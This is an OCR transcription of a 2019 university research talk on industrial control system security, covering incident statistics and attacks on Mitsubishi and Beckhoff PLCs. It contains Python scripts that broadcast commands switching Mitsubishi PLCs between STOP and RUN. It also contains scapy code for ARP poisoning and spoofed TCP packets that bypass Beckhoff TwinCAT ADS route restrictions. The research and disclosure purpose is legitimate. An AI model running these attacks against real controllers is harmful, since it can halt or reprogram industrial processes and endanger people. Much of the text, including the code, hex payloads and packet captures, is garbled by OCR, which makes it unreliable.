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Who am |?

Tijl Deneut
—_
= Researcher and lecturer at Howest University College %
Applied Computer Sciences, Computer and Cyber Crime Professional UNIVERSITEIT GENT
CAMPUS KORTRUK

Researcher Ghent University campus Kortrijk

= Ethical Hacker

= Background in IT security, using this perspective on Industrial Control Systems howest

university of applied sciences

= Co worker on this project: Tinus Umans

Engineer Industrial Automation
Researcher at University Ghent campus Kortrijk
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So what are “Industrial Control Systems”

“An ICS is a broad class of command and control networks and
systems that are used to support all types of industrial processes. “

They include a variety of system types including:

 Supervisory Control And Data Acquisition (SCADA) systems,

* Distributed Control Systems (DCS),

 Process Control Systems (PCS),

 Safety Instrumented Systems (SIS),

* smaller control systems configurations such as Programmable
Logic Controllers (PLC’s).

The term “OT” is actually never used on the factory floor. It is only

used by IT people to distinguish themselves ... —
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Where can | find ICS systems?

Nuclear Oil & Gas Transportation Water
i
HVAC Building Automation Pharmaceutical Petrochemical
i
|
p ; b ind Discrete
Manufacturing rocess Industry Food Industry Manufacturing
Stand-alone
Generators Machines Green Energy - Water Locks
Dams
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How does that look like?

Office Industrial Control Systems

Supervision Network

Production Network
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What’s inside?

Office Industrial Control Systems
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upervision
Corporate IT Consoles

Industrial
networks

Historians /

ERP server Logging Server

Sensors Robots Drives

gj{ffgfsg»

"‘u‘g e 1:))
iz
¥ S
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And what’s the big deal?

Several migrations have happened over time:

e *15yearsago: all systems still used fieldbus protocols
* There was a movement to Etheret based protocols

e *10years ago: networking became abundant, everything started to become
intra connected
* Engineers / operators / managers connecting to their
production devices from everywhere in the company

* +5vyearsago: the age of loT, Big Data and Industry 4.0
* Engineers / operators / managers want to monitor, manage and connect to their
production devices from at home

And all this using protocols that were developed +40 years ago
and have zero support for security, authentication, encryption ...

T T T T T T




Oktober 10th, 2019

I -~ INDUSTRIAL CONTROL & COMMUNICATION
\

COMPETENCE CENTER | HOWEST - UGENT
And what’s the big deal?

what can go wrong?
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ncidents are on the rise

ew Type of Cyberattack Targets Factory SqtecH

falicious software Triton was able to manipulate Schneider Electric devices’ memory and run ury CYBERSECURITY | ENTERPRISE | INTERNET | MEDIA | MoBiLE | sociALMEDIA | Vel Have you rcont rol system cyber assets a nd / or

inknown bug

TSRS AN A S " 2 ol system network ever been infected or infiltrated?
Tesla is suing an ex-employee

Russian hackers penetrated networks of for hacking into its 'MOS'
U.S. electric utilities: WSJ

5.1%

4%

software — here's what that
i system does 26.6%

* Tesla is suing a former employee for allegedly hacking into the company's factory
software, known as its MOS, or Manufacturing Operating System.

m Yes

M No, were sure we haven't
been infiltrated

(Reuters) - Russian hackers gained access to the networks of U.S. electric utilities last

year, which could have allowed them to cause blackouts, according to federal

government officials, who said the campaign is likely continuing, The Wall Street

Journal reported on Monday.

= Not that we know of

Hackers Are Targeting Hackers Could Blow Up
Nuclear Facilities, Homeland - . . m We've had suspicions but
Security Dept. and F.B.I. Say actories USIng \ were never able to prove it
f Smartphone Apps A ¢ 13.0%
p pp 52.0% = We don't know and have no
lesearchers have found worrying security holesinapps o suspidons

bmpanies use to control industrial processes.

MartinGiles  January 11,2018

Figure 10. Breach History

Virus shuts down factories of major iPhone

The Wolf Creek Nuclear power plant in Kansas in 2000. The corporation that runs the plant
Eulitt/Capital J L via A ated Pre

e e component manufacturer TSMC

A Cyberattack in Saudi Arabia Had a
Deadly Goal. Experts Fear Another Try.




Oktober 10th, 2019

Weakest links

OO Ul B~ WIN =

_

Network and network components
Unhardened systems

Passwords

Shared accounts

Administrative accounts
Employees

Source: ICS-CERT.US-CERT.gov
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Subcategory Discovery

Areas Where Weakness Discovered
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% of Total
Findings

1 | SC-7 Boundary Protection Network segmentation, network monitoring, 13.3%
and isolation of critical or sensitive network
components

2 | CM-7 Least Functionality Hardening systems and the use of whitelis- 7.2%
ting

3 | IA-5 Authenticator Management Password protection and management 4.2%

4 | IA-2 Identification and Authentication Shared accounts, use of two factor authenti- 3.9%

(Organizational Users) cation for remote access

5 | AC-6 Least Privilege Administrative accounts, accounts with 3.6%
unnecessary privileges

6 | SA-2 Allocation of Resources Staffing, lack of resources, excessive over- 3.6%
time of existing staff

7 | AU-6 Audit Review, Analysis, and Report- | Logging and analysis 3.5%

ing

8 | PE-3 Physical Access Control Securing physical sites 3.0%

9 | SI-2 Flaw Remediation Patching 3.0%

10 | CM-4 Security Impact Analysis Risk and Impact Analysis 3.0%

11 | AT-2 Security Awareness Training General cybersecurity awareness training 2.7%

12 | CP-9 Information System Backup System Backups 2.7%

13 | CM-6 Configuration Settings Baseline configurations, documentation of 2.5%
network

14 | AT-3 Role-Based Security Training Role-based training of cybersecurity 2.4%

15 | CM-3 Configuration Change Control Change management processes, ensuring the 2.2%
right staff are included in change processes

16 | SA-8 Security Engineering Principles Addressing obsolete systems, system life-cy- 2.0%
cle plans

17 | AC-17 Remote Access Remote access policies and plans 1.7%

18 | SC-8 Transmission Confidentiality and Plain-text transmissions of sensitive material 1.7%

Integrity

19 | AC-2 Account Management Centralized account management in moder- 1.6%
ate to large systems, processes to handle/
manage user accounts

20 | SA-4 Acquisition Process Contract language that doesn’t include secu- 1.6%
rity provisions.
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Main sources of infiltrations/infections

What was the identified source or sources of the infiltrations or infections?
Select all that apply.

Hackers o
Employees -
Unknown sources -
(H)Activists o
Organized Crime
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An example: Mitsubishi Protocol Analysis

Mitsubishi FX5U PLC CPU Az

RS-stocknr.: 875-5672  Fabrikantnummer: FX5U-32MR-ES @ Fabrikant: Mitsubishi

L. i- o 11 0p voorraad - levertijd is 1 werkdag(en).

Prijs Each

1 A o7 £
T e 853,45 € 1.032,67 €
— P (excl. BTW) 1 BTW
CARD

WA%& M0123456,
! D UNR1EKISEy ,! il

\

AN

= —_Y Al Aantal stuks Per stuk

O/RD vl

YORASE-T00BASE-TX '::R
R

PRUN I 1+ 85345 €
SAY FX5U-32m vt

\
0U7011;4567

LLRIR PR TR R3]

1 o Aantal stuks Bestellen

Voorraad checken

¢ Voeg toe aan
onderdelenlijst

T T T T T T T s
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Programming a Mitsubishi PLC

M DownloadProjectToPLCFromGXWorks3.pcapng — O >
File Edit View Go Capture Analyze Statistics  Telephony  Wireless Tools  Help
A mi® Re=EZF LI ZEAQAQH
|ﬂ |A|:upl'-r'ac|ispla'-; filter ... <Ctrl-/= = | '] Expression... =+
Mo, Time Source Destination Protocol  Length Info ]
1 &.8a88868 18.268.8.64 255,255,255 255 LUDP 45 58288 = 5568 Len=4
2 8,889 18.26.8.64 255.255.255.255 LUDP 45 58288 = 5568 Len=4
3 8.882352 152.168.3.258 255,255,255 255 LUDP 68 5568 = 58288 Len=14
4 8.348776 1é.268.8.64 255.255.255.255 LUDP 45 58289 = 5568 Len=4
3 @.348754 le.28.8.04 255.255.255.255 LUDP 45 58289 = 5508 Len=4
6 @.342881 192.168.3.258 255.255.255.255 LUDP 78 55608 = 58289 Len=28
7 8.,342951 le.28.8.64 255.255.255.255 LUDP 95 58298 = 55608 Len=533
8 @.,342989 18.268.8.604 255.255.255.255 LUDP 95 58298 = 5568 Len=533
9 a.3443749 192.168.3.258 255,255,255, 255 LoP 119 5568 = 53298 Len=77
18 &8.344831 18.28.8.64 255,255,255 255 LUDP 98 58291 = 5568 Len=56
11 &.344836 1é.268.8.64 255.255.255.255 LUDP 098 58291 -» 5568 Len=56 "
£ >
Frame 9: 119 bytes on wire (952 bits), 119 bytes captured (952 bits) on interface @
Ethernet II, Src: Mitsubis 28:4f:88 (18:4b:46:28:4f:88), Dst: Broadcast (ff:ff:ff:ff:ff:fF)
Internet Protocol Version 4, Src: 192.168.3.258, Dst: 255.255.255.255
User Datagram Protocol, Src Port: 5568, Dst Port: 58298
v Data (77 bytes)
Data: d7eleeesasllllrfeasseBaseseeffffeseepp33809cRals..
[Length: 77]
2000 |ABREBRR] TT Tf ff 18 4b 46 28 4f 08 03 @0 45 00 [RN - K F(0- - -E- ~
G168 @8 59 85 9d @@ 88 48 11 af 45 c8 a8 83 fa ff ff cieceef@e cEecees
a2 ff ff 15 b8 e3 b2 88 55 &f 16 d7 @1 80 BB BB 11 - .- L
11 7f 66 88 89 a8 B3 88 ff ff 63 688 88 38 B8 9c - ceeee oo 8- hd

O > DownloadProjectToPLCFromGXWoerks3. pcapng

Packets: 843 - Displayed: 843 (100.0%)

Profile: Default
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Scanning for Mitsubishi PLCs

‘ MitsubishiBroadcastFXSCPUGKWorks3PlusResponse.pcapng — O >
Eile Edit View Go Capture Analyze Statistics  Telephony  Wireless  Tools  Help
Aam 7 ® RE Qe=2=F i 5 =2 aaqf
(N |:'J.|:-|:|I'-r' a display filter ... <Ctrl-/= - | '] Expression... +
Mo, Time Source Destination Protocol  Length Info
1 &.008666 172.26.6.162 255,255,255, 255 uoP 83 5561 » 5561 Len=51
2 8.882131 192.168.3.258 255.255.255.255 uoP 151 5561 =+ 5561 Len=189

£ >

Frame 1: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface 8

Ethernet IT, Src: Vmware 13:8c:7a (@@:8c:29:13:8c:7a), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

Internet Protocol Version 4, Src: 172.20.8.182, Dst: 255.255.255.255

User Datagram Protocol, Src Port: 5561, Dst Port: 5561
v Data (51 bytes)

Data: S7eleeaaeallller7eseeffffeieeeefeaio000leddlcBalsb..
[Length: 51]

B ff ff ff ff ff ff @@ 8c 29 13 BCc 7a @5 80 45 @8 - - .- Y-z -E- "~
2 e 4f 87 c3 @9 8@ 80 11 86 5c ac 14 @8 66 T Qe ACERL £
pE2e ff ff 15 b9 15 b9 @@ 3b 73 18 57 @1 &8 @8 @8 11 - - - 3 T
AEZE 11 A7 8@ 88 ff f 83 68 68 fe 83 808 688 e 8@ Ic - - v e e hd
O > MitsubishiBroadcastFX SCPUGKWorks3PlusR.esponse. pcapng Packets: 2 - Displayed: 2 (100.0%%) Profile; Default
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Broadcasts? But why?

Many protocols have been created with the ease of the engineers in mind:

* Sending all packets to 255.255.255.255 / FF:FF:FF:FF:FF:FF is easy to use because the workstation
and PLC do not have to be in the same subnet to be able to communicate to each other
* So this protocol works “Out-Of-The-Box”
* Sothere is no need to have a valid IP address on your computer, easy right?

» Unfortunately this also means that all traffic is being delivered to every other device in the network
* Problem anyone?

* Please note: once the workstation and PLC are in the same subnet, TCP is used and a more
“regular” way of communicating occurs

T T T T T T T s
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M Mitsu-Connect+Send-RUN.pcapng — O >
Eile Edit VYiew Go Capture Analyze Telephony  Wireless  Tools  Help
Aam 7 ® TREBQe=2EZFT LS ERAQAQAET
[i |Appl'-r' a display filter ... <Ctrl-/> 3 ~| Expression.. +
Mo, Time Source Destination Protocol  Length Info —
1 &.008066 192.168.3.123 192.168.3.256 ICMP 52 Echo (ping) request id=6w@881, seq=357/25857, ttl-———
2 8.888293 192.168.3.2508 192.168.3.123 ICMP 68 Echo (ping) reply id=8x@pel, seq=357/25857, ttl-
5 8.881685 192.168.3.123 192.168.3.258 TCP 54 49543 -+ 5562 [ACK] Seq=1 Ack=1 Win=65328 Len=8
6 8.802568 192.168.3.123 192.168.3.256 TCP 58 49543 » 5562 [PSH, ACK] Seq=1 Ack=1 Win=65328 Len=4
7 8.883258 192.168.3.258 192.168.3.123 TCP 122 5562 + 49543 [PSH, ACK] Seq=1 Ack=5 Win=5688 Len=28
8 8.884363 192.168.3.123 192.168.3.256 TCP 187 49543 = 5562 [PSH, ACK] Seq=5 Ack=29 Win=65292 Len=
G 8.805323 192.168.3.258 192.168.3.123 TCP 171 5562 » 49543 [P5SH, ACK] Seq=29 Ack=58 Win=568@8 Len=
168 &.886165 192.168.3.123 192.168.3.256 TCP 118 49543 = 5562 [PSH, ACK] Seq=58 Ack=186 Win=65215 Le
11 a.e87346 192.168.3.258 192.168.3.123 TCP 151 5562 »+ 49543 [PSH, ACK] Seq=1@6 Ack=114 Win=5638 Le W
£ >
* Frame 7: 122 bytes on wire (976 bits), 122 bytes captured (976 bits) on interface @
» Ethernet II, Src: Mitsubis 28:4f:88 (18:4b:46:28:4f:088), Dst: Vmware 13:8c:7a (80:8c:29:13:8c:7a)
» Internet Protocol Version 4, Src: 192.168.3.2%8, Dst: 192.168.3.123
» Transmission Control Protocol, Src Port: 5562, Dst Port: 49543, Seq: 1, Ack: 5, Len: 28
* Data (28 bytes)
Data: daeseeffiliapcespsspppaapslen2eateadli2ai4d7agr2s..
[Length: 28]
AERE @8 Bc 29 13 @c Ta 18 4b 46 28 4T 65 63 80 45 89 “eYy--z-K F(O---E "~
PE1e B0 6C @c o1 @0 00 40 [ e2 e5 @ a3 @3 Ta c@ a8 -1l - -GH -
AE26 @3 7b 15 ba cl 87 @@ @82 42 ac a9 b8 35 99 @ 18 S R B---5=-~-
2828 16 38 55 65 60 6B 68 68 68 66 6D OB 6B BB 68 B8 - R hd
(0 7 mitsu-Connect+5end-RUN.pcapng || Packets: 208 - Displayed: 208 (100.0%) || Profile: Default




Oktober 10th, 2019

I -~ INDUSTRIAL CONTROL & COMMUNICATION
\ COMPETENCE CENTER | HOWEST - UGENT

Creating scripts

Hdef sendSTCOP(srcIP):

= socket.socket (socket.hF TNET, socket.S0CE DGRAM)
.setsockopt (socket. S0L_SOCEET, socket.S0 REUSEADDE, 1)
.2etsockopt (socket. 50L SOCEET, socket.S50 BROADCAST, 1)
.settimeout (4)

s.bind({sxcIPF,0))

print{'How sending the command ...")

W W W w

data="57010000 00111107000C e03000020001c0alelq0000000000000000000000000000000000000000100205000000010C

response = send and recv(s,’ ' . 55c0,data)

if binascii.hexlify(response)[-2:] 19000000": print{'Should) "ve worked")

$#% Valid response seems to be dT0L 0O011117f000000a80300££££f03000020009c02181400000000000000000000000000000000000000000000100105000000

= s.close ()

Hdef =sendBUN{srcIF):

= socket.socket (socket.AF TNET, socket.S0CE DGRAM)
.2etgockopt (socket.S0L_ SOCEET, socket.S0 REUSEADDE, 1)
.2etsockopt (socket.S50L SOCEET, socket.S50 BROADCAST, 1)
.Settimeout (4)

s.bind({sxcIP,0})}

W W W om

print{'How sending the command ..."')
###%% This seems to be the actual packet sending it in STOP mode
data='5701000000 11110700C 0E£££030000£203000022001c0a1614000000000000000000000000000000000000000010010900000001000000"

response = send and recv(s,'255.255.255.255" ,556e0 ,data)
if binascii.hexlify(response) [-3:] print{'Should’ "ve worked')

rrrrrrr

- s.close ()

Conclusion: access to the network is game over for these PLC's
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Mitsubishi PLC Software is called “GX Works”

B MELSOFT Series GX Works2 D:Aproject\OpeSi-EVSi02-01-00.g)awv - [[PRG]Write MAIN 329 Step]

! Project Edt FEind/Replace Comple VYiew Online Debug Diagnostics Tool Window Help
: A : > R P | = & | = : | i T
Ao '-,:%CD O GREREY MR AT R S S S, 2 e P A e
H i | ¥ ¥ i N okl o «
; q~ | D m E b R R A2 1| o b 36 K | TE B AT6 W | B K B | L b e b |57k | 25 358 S |
: Navigation # X | 7 ) [PRG]Write MAIN 329 Step > | 5 Local Label Setting MAIN [PRG] | 4 b + | Selection
Droiect Cimitial setbing> A IAII Parts
<3at precet wlue M
P G 2) | 8- ¢t ol—R T4 e fore W W ™ 1 3 = £ Function Block
':] | | Wocile r Cognt en Injtiz! i
—— narty able ven  zettioe D CARRY1
+ Parameter Al e corpl =ts B) CARRYZ
Intelligent Function Modul S iapk L 2 3 SYOKIKA
1} Global Device Comment {re W e K1000 Ki b
{5 Global Label
+!., Program Settlng <Sot lowsr limit of ring ccuntse >
=5 POU {oTee HY Hig [ Ki X
= ‘_:) Program >
=i MAIN
—J proqam | et upper limit of ring ccurter >
(= R v PN S | vl I
5 {ore W W6 2000 Ki X
idddasass — |
l Project <=t initial 3et complets flag >
]
— ‘ g = mo,,
L..“ User Library J i &
- x ¥ . tart/atep counter cperation »
g Connection Destination 1 ¢ iie = 03 2 8 )
— - Wokilo r Start oo Counter Coont on
mardy unter o Rlus m abls cco
» eration tohlgoin e
"Lm._. LN it v
: Cross Reference 2 X :watch1
Cross Reference Information ICondimn Setlingl Device/Label [ Current Value I Data Type | Class
DevicefLabel IAII Device/Label _] | X0 2 Bit
- X - Bit
Device/fLabel Device Instruction Ladder Symbol | Position ) % Bit
- X3 - Bit
Ly X0 %0 LD I ,I.- Step No, 11 va . R
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Other general issue: limited OS support

R{ Rockwell Automation Compability RSLogix 5000 RSLogix 5000 RSLogix 5000 RSLogix 5000 Studio 5000 Logix Designer
2019 14.01.00 18.02.00 19.01.01 20.01.01 21.03.02

Li| Windows 7 Enterprise SP1 32-bit 0 (%] (<] ] (1)

W Windows 7 Enterprise SP1 64-bit @) (%] (v] /] @)

W Windows 7 Home Premium (32-bit) O (%] (v] (v] @

W Windows 7 Home Premium (64-bit) O (%] (v] (v] @

W Windows 7 Home Premium SP1 32-bit ) (1] (1] O (/]
W|Windows 7 Home Premium SP1 64-bit @) @ @ o @)

W Windows 7 Professional (32-bit) O (%] (v] (v] @

W Windows 7 Professional (64-bit) O (%] (v] 7] @

W Windows 7 Professional SP1 (32-bit) O (%) (V] (] @

W Windows 7 Professional SP1 (64-bit) O (%] Q (v] Q

W Windows 7 Ultimate SP1 32-bit O O @ (Y (1)

W Windows 7 Ultimate SP1 64-bit 0 (1] (1] 0 @]

W windows 8 (home) 32-Bit @] (%) (%] (x] O

W Windows & (home) 64-Bit ) () (] (%) @)

W Windows 8 Enterprise 32-Bit O (%] (%] (%] @

W Windows 8 Enterprise 64-Bit O (%] (%] (%] (D]

W Windows 8 Professional 32-Bit O (%] (%] (%] @

W Windows 8 Professional 64-Bit O (%] (%] (%] @
W|Windows 8.1 Enterprise 32-Bit O (%] (] Q ]
W|Windows 8.1 Enterprise 64-Bit @) (%] (%] (%] O

W windows 8.1 Professional 32-Bit O (%] (] Q ]
‘I.l"u_WinanS 8.1 Professional 64-Bit 'i:} e Q Q 'i::'

W Windows Vista Business (32-bit) ) (v] (v] (v] ]

W Windows XP Pro (32-bit) ) (%) (%) o ()
W|Windows XP Pro SP1 (32-bit) O (%] (] (%) (]

W Windows XP Pro 5P2 (32-bit) O (%] (%] (%] (%]

W Windows XP Pro SP3 (32-bit) @) (] (V] (V] (] :
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So what if: a PLC vendor tries really hard

There is one vendor (that | know of), that does things entirely differently:

* This vendor uses off the shelf Operating Systems for PLC’s
*  Windows all the way (albeit sometimes WinCE or Embedded versions)

 This vendor even calls its controllers Industrial Personal Computers (IPC) or Embedded PC’s
* They technically do not sell PLCs but do refer to the software as PLC software

* Almost all their devices have DVI/HDMI, USB, Compact Flash (or CFAST), Ethernet from the very
beginning

* They stick with mostly known protocols like EtherCat, RDP, ADS that are not only known by
Wireshark but also very well described in their online

e T T T T T T T s
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Security?

And foremost: this vendor has implemented programming and access security from the beginning of
their controller product line

* Mostly based on Windows security, which has its pros and cons
 E.g. until today, all passwords are stored in Windows environments

* Butthey also implement their very own security implementation to allow communication

BECKHOFF

R
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Didn’t you already mentioned this?
Yes, last year, a vulnerability on authentication bypass for de Remote Display service on Windows CE
was shown. Windows CE is still being used on their cheapest devices.
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TI-54- cerhost_v2.04.exe cerhost_v2.04_Tjyjl
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So what’s next?

We decided to take them at their word and actually look at:

The security of running the newest version of Beckhoff software on the newest possible version of
Windows.

Let’s perform a deep dive:
->How does the built-in security work?
->How can we play with this?

—> Research & development in conjunction with Tinus Umans

e T T T T T T T s
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So what software does a Beckhoff engineer use?

* Beckhoff uses Windows Operating Systems on their controllers
* Engineers use Microsoft Visual Studio as the default programming environment

* The only thing Engineers have to do to start programming controllers is install the
TwinCAT 3 eXtended Automation Engineering software

* |tisfree to download at and the most recent version is 3.1.4024.0
(build date 2019-07-24)
Dq Start Page - Microsoft Visual Studio (Administrator) ¥ [ | Quick Launch (Ctrl+Q) P - O x
FILE EDIT  VIEW DEBUG TWINCAT PLC TEAM TOOLS  TEST SCOPE ADS ANALYZE  WINDOW HELP Sign in B
0-0|B-o-uE W (G| . - EF

Solution Explorer * [ 3 | EELET IRTI S

TwinCAT" 3 e

ted | Beckhoff News

BEE e e e TS e e e T What's New in TwinCAT 3
== SUTTCUEEEETETT  Learn about the new features of TwinCAT 3.

o e =
[=} ™ m m
-] m : -
@ o
T » P =
at Y 3 0

5 <& B
;= v U
o & 5 ¢
, 2
o
4]

Recent Projects
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What is this Beckhoff security-by-design?

TwinCAT 3 within Visual Studio supports the IEC 61131-3 standard: Ladder, Function Block Diagram,
Structured Text, ...

However: Beckhoff control & programming communication security is done by using
TwinCAT Routes

* TwinCAT Routes have nothing to do with IP routes
* ATwinCAT route defines that a device (being it a controller, laptop, HMI, 1/0 ...) is allowed to
respond to any questions (on port TCP/48898)

* TwinCAT routes are required on each device that is supposed to communicate with any other
device

R
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Examples

TwinCAT Static Routes

Address

10.20.1.10
10.20.1.11

AmsMetld

5.25.133.31. 1.1
5.35.15.112. 1.1

Comment

I

(D w0 cx-19851£5120/UpnpWebsite/index.htm oo $

L BECKHOFF Device Manager

Connectivity
System ID E725F50B-82E6-FEGB-84DE-FF560BA4E451
AMS Net ID 5251333111

=]

o TwinCAT Routes

Connectivity|

AMS Met ID 53518.112.11
Add... ] [ Remove Transport Type TCP_IP

Connection Timeout (ms) 0

Flags Static, IP Address

AMS Net ID 10.20.1.148.1.1
TwinCAT

Transport Type TCP_IP

Address 10.20.1.148

Connection Timeout (ms) 0

Flags Static, IP Address
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Protocols

M RequestlicenseStatusHMI.pcapng - O >
L ~
TWlnCAT Eile Edit View Go Capture Analyze Statistics  Telephony  Wireless  Tools  Help >
c| | |Appl'-r' a display filter ... <Ctrl-{= o '] Expression...  +
prOtOCOI Ma. Time Source Destination Protocol  Length Info # :)ntrO"erS
18 8.593351 172.28.8.58 172.28.1.18 AMS 116 AM5 Request '
11 &.5968682 172.20.1.18 172.268.8.58 AMS 184 AM5 Request
12 8.685646 172.20.8.58 172.28.1.18 AMS 184 AM5 Request
; 13 8.686658 172.28.1.18 172.28.8.58 AMS 184 AM5 Request .
ADS L 14 8.645138 172.20.6.5%8 172.28.1.18 AMS 184 AMS Request o Vlce-
- e e I el e el el . -
Frame 18: 116 bytes on wire (928 bits), 116 bytes captured (928 bits) on interface @ ~

9 This I[ Ethernet II, Src: Vmware 1f:al:2a (@8:8c:29:1f:al:2a3), Dst: Beckhoff_19:85:1f (@@®:81:85:19:85:1F)
Internet Protocol Version 4, Src: 172.28.8.58, Dst: 172.28.1.18
Transmission Contrel Protocol, Src Port: 1866, Dst Port: 48398, Seq: 281, Ack: 213, Len: 62
¥ AMS
R AMS Target Net Id: 5.25.133.31.1.1
9 Thls I[ AMS Target port: lee
AMs Sender Net Id: 172.16.1.32.1.1
AMS Sender port: 32384
CmdId: ADS Read Write (9)
StateFlags: Gx@884
cbData: 24
ErrorCode: NO ERROR (@x@eooo2ea)

¥
@@ @1 85 19 85 1f @@ 8c 29 1f al 2a 'B-E'B'EI"B-EI' -------- }*E A
88 66 1c 4 48 BB 50 B OB 88 ac 14 88 32 ac 14 AR EEEEEEEEE 2=
@1 @a 84 2a bf 82 be b3 4a ca d9 ac f4 db 58 18 R R D =
3f ff 59 bd @@ 68 A8 @@ 35 @@ 68 @8 @5 19 85 1f [ R G W

O 2 ReguestlicenseStatusHMI. pcapng Packets: 212 - Displayed: 212 (100.0%%) Profile: Default
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Discovery?

M 5cansndAddRemoteRoute.peapng — O >
Just I File Edit View Go Capture Analyze Statistics  Telephony  Wireless Tools  Help S
[ ]
Tlam g @ Res=F iEElaqaam: .
ThlS [I |A|:upl'-r'ac|ispla'-; filter ... <Ctrl-/= ,__’ = | Expression... + ]atlon
D- I Mo, Time Source Destination Protocol  Length Info
ISC 1 &.8086606 192.168.568.138 255,255,255, 255 uDpP 66 43342 » 48899 Len=24
2 8.8085684 192.168.58.153 192.168.58.136 uop 369 48899 = 43342 Len=327
|: 3 9.9936825 192.168.568.138 192.168.58.153 uoP 138 56784 = 48899 Len=96
4 16.841574 192.168.568.153 1592.168.58.136 uop 74 483899 » 56784 Len=32
£ >

Frame 3: 138 bytes on wire (1184 bits), 138 bytes captured (1184 bits) on interface @
Addi Ethernet II, Src: Vmware 37:df:f6 (@@:8c:29:37:df:T6), Dst: Vmware_32:16:83 (B@:8c:29:32:T6:83)
i Internet Protocol Version 4, Src: 192.168.58.138, Dst: 192.168.58.153
User Datagram Protocol, Src Port: 56784, Dst Port: 48399
v Data (96 bytes)
Data: @366l471a0a0000000000000Cc0a832820181102705600008..

9 Is [Length: 96]

@@ Bc 29 32 fe 83 @@ Bc 29 37 df fo 88 88 45 86
eA 88 7c ed al 4@ BB 48 11 o 63 c@ ad 32 32 c@ ad d
32 99 8@ bf ae aa &
BE 68 @6 B0 0. 8
s

[=~]
N &
&
o pa

~] & O M
& M
-]

[43]
=] [

@
et

No=h koo @@
® =

[y =
ool

T -]
m

]
&

A
W o

=]

() 7 Data (data.data), 96 bytes || Packets: 4 - Displayed: 4 (100.0%) || Profile: Default
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So, security?

So as it turns out: the only security measure for ADS communication is the IP adres that is in the list of
Routes ...

—> So can we bypass a restriction that is based purely on source IP Address?

Solution: IP Spoofing

By sending packets coming from different IP addresses we can “discover” the possible routes that are
present.

Done in two parts:

1. ARPPoison
2. ADS Verification packet

R
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1. ARP Poisoning? What’s that.

Problem: if a response is triggered coming from a certain IP address, that response will be sent to the
device that actually has that IP address. (e.g. by performing an ARP request for that device).

So we need to tell the target our MAC address for that specific IP address
->This is called “ARP Spoofing”

Hdef arpSpoof(oSrcidapter, sS5poofIP, sTargetIP, iSeconds):
sDestHMAC = getEemoteMAC (sTargetIP)
0ARP = scapy.hRP(op=2, pdst=sTargetlIP, hwdst=sDestMAC, psrc=s5pooflIP, hwsrc=oSrchdapter[2])

H try:

H for i in range (0,iSeconds):
scapy.send (oARP)
time.sleep(l)

H except Exception as Error:

print{('Error: '+str(Error))
sys.exit(l)

H try:
oARPfix = scapy.ARP(op=2, hwdst="ff:ff:ff:ff:£f:£ff", pdst=sTargetIP, hwsrc=sDestMAC, psrc=sTargetIP)
scapy.send (cARPfix, count=:I)
except: pass
sys.exit(l)

e T T T T T T T s
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2. Sending a single ADS packet

This too has to be “spoofed”, so using a fake IP address as a source for this packet

Fldef spoofTCPPacket (oSrchdapter, s5rcIP, sTargetIP, iDPort, dPacket):

$ SYN

sport=random.randint {1024, &5535)
ip=scapv.IP({src=s35rclIP,dst=3TargetIP}
SY¥N=scapy.TCP({sport=sport ,dport=iDPort,flags="5" ,3eqg=1000

SYNACK=scapy.srl(ip/5YN, timeout=iTIMECUT)
if SYNACKE is None: return SYNACE ## No SYN/ACE back, ARP Spoofing problem or port not open

# BCH
ACE=scapy.TCP{(sport=sport, dport=iDPort, flags="L', seqgq=5YNACEK.ack, ack=5SYNL(CEK.seq + 1)
scapy.send (ip/fACE)

# TCPF DATA

scapy.conf.verb = 0

oIP=zcapy.IlPF(src=s5rclIP,dst=sTargetIF)

oTCP=scapvy.ITCP(sport=sport, dport=iDPort, flags='FL', seg=S5STNACE.ack, ack=STHACE.seqg + L1}
oBAW==scapv.Raw (load=dFPacketL)

oResp = scapy.srl(oIPF/oTCP/oRAW, timeout=iTIMECUT)

# FIN
FINACE = Hone
= if not oResp is Wone:
FIN=zscapy.ICP{(sport=sport, dport=iDPort, flags="FA', seg=ocBesp.ack, ack=ocResp.seqg + 1}
= FINACKE=scapy.s3rl(ip/FIN, timeout=iTIMECUT)
=] if not FINACE is None:
LASTACK=scapy.ICP(sport=sport, dport=iDPort, flags='L', seq=FINACE.ack, ack=FINACE.=seqg + 1)

s scapy.send (ip/LASTACE)

= retnrn ocResp
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| want to see that in action, please?

OK

DEMO —
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Wait? What was that?

* Yes! Asitturns out: once we have a route installed, default ADS commmunication is possible.

* Weare now essentially a different ADS device: an IPC, an engineering PC, an HMII ...

* TwinCAT ADS is a language that is defined by Function Blocks, to perform actions on devices.

* Examples of those actions are
* Reading out variables
 Setting outputs and inputs
 Setting the Controller state to Stop, Run or Config mode
* (Re)Programming the internal project
* And adding routes without any additional authentication

e ...Andasitturnsout: alotmore... —
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More ADS actions?

There is a website for that:

BECKHOFF

@ Localizing the FLL project
@ Programming a PLC project

(@ Transfer PLC project to the PLC
@ Testing a PLC project and troubleshooting

@ PLC project at runtime

(s Updating the PLC project on the PLC

@ Using a stand-alone PLC project

(@ Using libraries

@ Multi-task data access synchronization in the PLC

Beckhoff Information System

TwinCAT 3 PLC Lib: Tc2_Utilities

Function blocks

Additional information

= BCD TO DEC

DEMO

[a Creating a visualization

[ Reference Programming

[ Reference User Interface

@ Libraries
M Intro
@ TwinCAT 3 PLC Lib: Te2_Coupler
@ TwinCAT 3 PLC Lib: Te2_DataExchange
(@@ TwinCAT 3 PLC Lib: Te2_Drive
(@@ TwinCAT 3 PLC Lib: Te2_EtherCAT
@ TwinCAT 3 PLC Lib: Te2_loFunctions:
(@ TwinCAT 3 PLC Lib: Te2_Math
(@@ TwinCAT 3 PLC Lib: Te2_MC2

@ TWinCAT 3 PLC Lib: Te3_MC2_AdvancedHoming

@ TWinCAT 3 PLC Lib: Tc2_MC2_Drive

@ TWinCAT 3 PLC Lib: Tc2_MDP (IPC diagnostics)

@ TWinCAT 3 PLC Lib: Tc2_NcDrive
@ TWinCAT 3 PLC Lib: Tc2_Standard
@ TWinCAT 3 PLC Lib: Tc2_SUPS

i TWinCAT 3 PLC Lib: Tc2_SystemCX
i TwinCAT 3 PLC Lib: Te2_System

= DCEVT TIME
= DCEVY TIME EX

= DEC TO BCD
» FB AdsReadEvents

= FE AddRouteEntry

= FE _Amsloagger
= FE BasicFID

« FBE Checklicense

» FB CSVMemBufferE@ader

= FB CSVMemBufferWriter

FE EnumFindFileEniry

 FE EnumFindFilelist

s CC CriirmslDesartasl e



https://infosys.beckhoff.com/english.php?content=../content/1033/tcplclib_tc2_utilities/9007199289758859.html&id=
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Want to go further?

There is a website for that:

BECKHOFF Beckhoff Information System

